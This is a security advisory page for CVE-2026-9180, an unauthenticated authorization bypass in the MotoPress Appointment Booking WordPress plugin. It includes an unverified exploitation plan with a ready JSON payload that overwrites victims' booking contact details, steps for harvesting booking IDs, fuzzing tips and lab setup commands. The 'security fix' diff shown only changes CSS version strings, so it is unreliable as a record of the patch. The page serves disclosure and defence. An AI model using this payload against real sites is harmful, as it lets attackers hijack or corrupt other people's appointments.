CVE-2026-9180

MotoPress Appointment Booking <= 2.4.4 - Unauthenticated Insecure Direct Object Reference to 'payment_details.booking_id' Parameter

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.4.5
Patched in
1d
Time to patch

Description

The MotoPress Appointment Booking plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to, and including, 2.4.4. This is due to the `POST /motopress/appointment/v1/bookings` REST endpoint being registered with `'permission_callback' => '__return_true'`, allowing unauthenticated access, while the `createBooking` handler in `BookingsRestController.php` accepts an attacker-supplied `payment_details.booking_id` value and loads the referenced booking via `findById()` without verifying that the caller owns or has any rights to that booking. This makes it possible for unauthenticated attackers to overwrite the customer name, email address, phone number, and `customer_id` of any non-confirmed victim booking by submitting a request with no reservation items, causing `BookingService::createBooking()` to load the existing victim booking object and persist it with attacker-controlled customer data. Victim booking IDs can be harvested prior to exploitation without authentication by querying the also-publicly-accessible `GET /motopress/appointment/v1/bookings/reservations` endpoint with a guessable `service_id` and date range, and only bookings whose status is not `STATUS_CONFIRMED` (e.g., pending or auto-draft) are valid targets.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.4.4
PublishedJuly 2, 2026
Last updatedJuly 3, 2026

What Changed in the Fix

Changes introduced in v2.4.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan focuses on **CVE-2026-9180**, an unauthenticated Authorization Bypass (IDOR) in the MotoPress Appointment Booking plugin. --- ### 1. Vulnerability Summary The `motopress-appointment-lite` plugin exposes a REST API endpoint for creating bookings that fails to validat…

Show full research plan

This exploitation research plan focuses on CVE-2026-9180, an unauthenticated Authorization Bypass (IDOR) in the MotoPress Appointment Booking plugin.


1. Vulnerability Summary

The motopress-appointment-lite plugin exposes a REST API endpoint for creating bookings that fails to validate the ownership or status of a booking when an existing ID is provided. The createBooking handler in BookingsRestController.php accepts a user-controlled booking_id within the payment_details object. Instead of creating a new record, the service loads the existing booking and overwrites its customer metadata (name, email, phone) with the attacker-provided values. This allows an unauthenticated attacker to hijack or corrupt pending appointments.

2. Attack Vector Analysis

  • Vulnerable Endpoint: POST /wp-json/motopress/appointment/v1/bookings
  • Harvesting Endpoint: GET /wp-json/motopress/appointment/v1/bookings/reservations
  • Authentication: None (Unauthenticated). The permission_callback for the route is explicitly set to __return_true.
  • Vulnerable Parameter: payment_details.booking_id
  • Preconditions:
    1. A target booking must exist with a status other than STATUS_CONFIRMED (e.g., pending or auto-draft).
    2. The attacker must know or harvest the booking_id.

3. Code Flow (Inferred)

  1. Entry Point: A POST request hits the REST route /motopress/appointment/v1/bookings.
  2. Controller: BookingsRestController::createBooking() (inferred) is invoked.
  3. Data Extraction: The controller extracts the payment_details array from the JSON body.
  4. Insecure Loading: The code checks for payment_details['booking_id']. If present, it calls BookingService::findById($booking_id) without checking if the current session "owns" that ID.
  5. Service Layer: BookingService::createBooking() receives the loaded booking object and the new data.
  6. Persistence: The service updates the booking's customer_id, name, email, and phone and calls $booking->save(), effectively overwriting the victim's information with the attacker's data.

4. Nonce Acquisition Strategy

According to the vulnerability description, the endpoint is registered with 'permission_callback' => '__return_true'. In the WordPress REST API, when a route is accessible to unauthenticated users and does not rely on cookie-based authentication, the X-WP-Nonce header is typically not required.

If a nonce is enforced by a global filter, it can be acquired via the mpa-checkout localization:

  1. Identify Trigger: The booking form scripts are usually enqueued on pages containing the [mpa_checkout] shortcode.
  2. Create Page: wp post create --post_type=page --post_status=publish --post_content='[mpa_checkout]' --post_title='Checkout'
  3. Extract: Navigate to the new page and execute:
    browser_eval("window.mpaCheckoutVars?.nonce") (inferred variable name based on MotoPress naming conventions).

5. Exploitation Strategy

Step 1: Harvest Victim Booking IDs

The attacker first identifies valid booking_id values by querying the reservations endpoint.

  • Tool: http_request
  • Method: GET
  • URL: /wp-json/motopress/appointment/v1/bookings/reservations?from=2024-01-01&to=2026-01-01&service_id=1
  • Expected Response: A JSON array of reservations including booking_id.

Step 2: Perform the Overwrite (IDOR)

Replace the victim's contact details with attacker-controlled data.

  • Tool: http_request
  • Method: POST
  • URL: /wp-json/motopress/appointment/v1/bookings
  • Headers: Content-Type: application/json
  • Payload:
{
  "customer": {
    "name": "Hacked User",
    "email": "attacker@example.com",
    "phone": "555-0000"
  },
  "payment_details": {
    "booking_id": 123,
    "payment_method": "test"
  },
  "reservations": []
}

Note: Sending an empty reservations array prevents the creation of new appointment slots while allowing the payment_details processing logic to trigger the overwrite.

6. Test Data Setup

  1. Install Plugin: wp plugin install motopress-appointment-lite --version=2.4.4 --activate
  2. Create Service:
    • wp post create --post_type=mpa_service --post_title='Consultation' --post_status=publish (Note the ID, e.g., 10).
  3. Create Victim Booking:
    • Manually or via CLI, create a booking in pending status.
    • wp post create --post_type=mpa_booking --post_title='Victim Booking' --post_status=mpa-pending
    • Record the ID (e.g., 123).
  4. Verify Original Data:
    • wp post get 123 --field=post_title

7. Expected Results

  • The REST API should return a 200 OK or 201 Created response.
  • The response body may reflect the updated customer details.
  • Crucially, the server does not return a 403 Forbidden despite the attacker not owning booking 123.

8. Verification Steps

After the POST request, verify the database state using WP-CLI:

  1. Check the "post title" or customer metadata:
    wp post get 123
  2. Check for custom meta fields associated with the booking:
    wp post meta list 123
  3. Confirm that the email/name now matches attacker@example.com and Hacked User.

9. Alternative Approaches

  • Fuzzing Service IDs: If service_id=1 returns no results in Step 1, use a loop to guess service_id from 1-100 to find active services.
  • Status Guessing: If the overwrite fails on one ID, it may be because the status is already confirmed. Target auto-draft IDs which are often generated when a user simply opens the checkout page.
  • Direct Parameter Manipulation: Try moving the booking_id outside of payment_details to the top-level JSON object if the schema allows it.
Research Findings
Static analysis — not yet PoC-verified

Summary

The MotoPress Appointment Booking plugin allows unauthenticated attackers to overwrite the customer details of existing bookings due to an Insecure Direct Object Reference (IDOR) in the REST API. By providing a victim's booking ID in the 'payment_details.booking_id' parameter of a creation request, the plugin loads and updates the existing record with attacker-supplied contact information without verifying ownership.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.4/assets/css/admin.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/admin.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.4/assets/css/admin.css	2026-06-08 10:27:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/admin.css	2026-06-23 11:36:52.000000000 +0000
@@ -15,7 +15,7 @@
   left: 0;
   width: 100%;
   height: 100%;
-  background: no-repeat center url("../images/loading.gif?ver=2.4.4"), rgba(255, 255, 255, 0.5);
+  background: no-repeat center url("../images/loading.gif?ver=2.4.5"), rgba(255, 255, 255, 0.5);
   background-size: 32px 32px;
   z-index: 9000;
 }
@@ -58,7 +58,7 @@
   display: inline-block;
   width: 20px;
   height: 20px;
-  background: no-repeat center url("../images/preloader.gif?ver=2.4.4");
+  background: no-repeat center url("../images/preloader.gif?ver=2.4.5");
 }
 
 .mpa-table th {

Exploit Outline

1. Harvest victim booking IDs by querying the public `GET /wp-json/motopress/appointment/v1/bookings/reservations` endpoint with a guessable `service_id` and date range. 2. Construct a JSON payload containing a `customer` object with the desired malicious metadata (name, email, phone) and a `payment_details` object containing the target `booking_id`. 3. Send an unauthenticated `POST` request to `/wp-json/motopress/appointment/v1/bookings` with this payload and an empty `reservations` array. 4. The server-side logic in `createBooking` will use `findById()` to load the victim's booking based on the provided ID and overwrite its properties with the attacker's data, as the endpoint is registered with `'permission_callback' => '__return_true'`.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.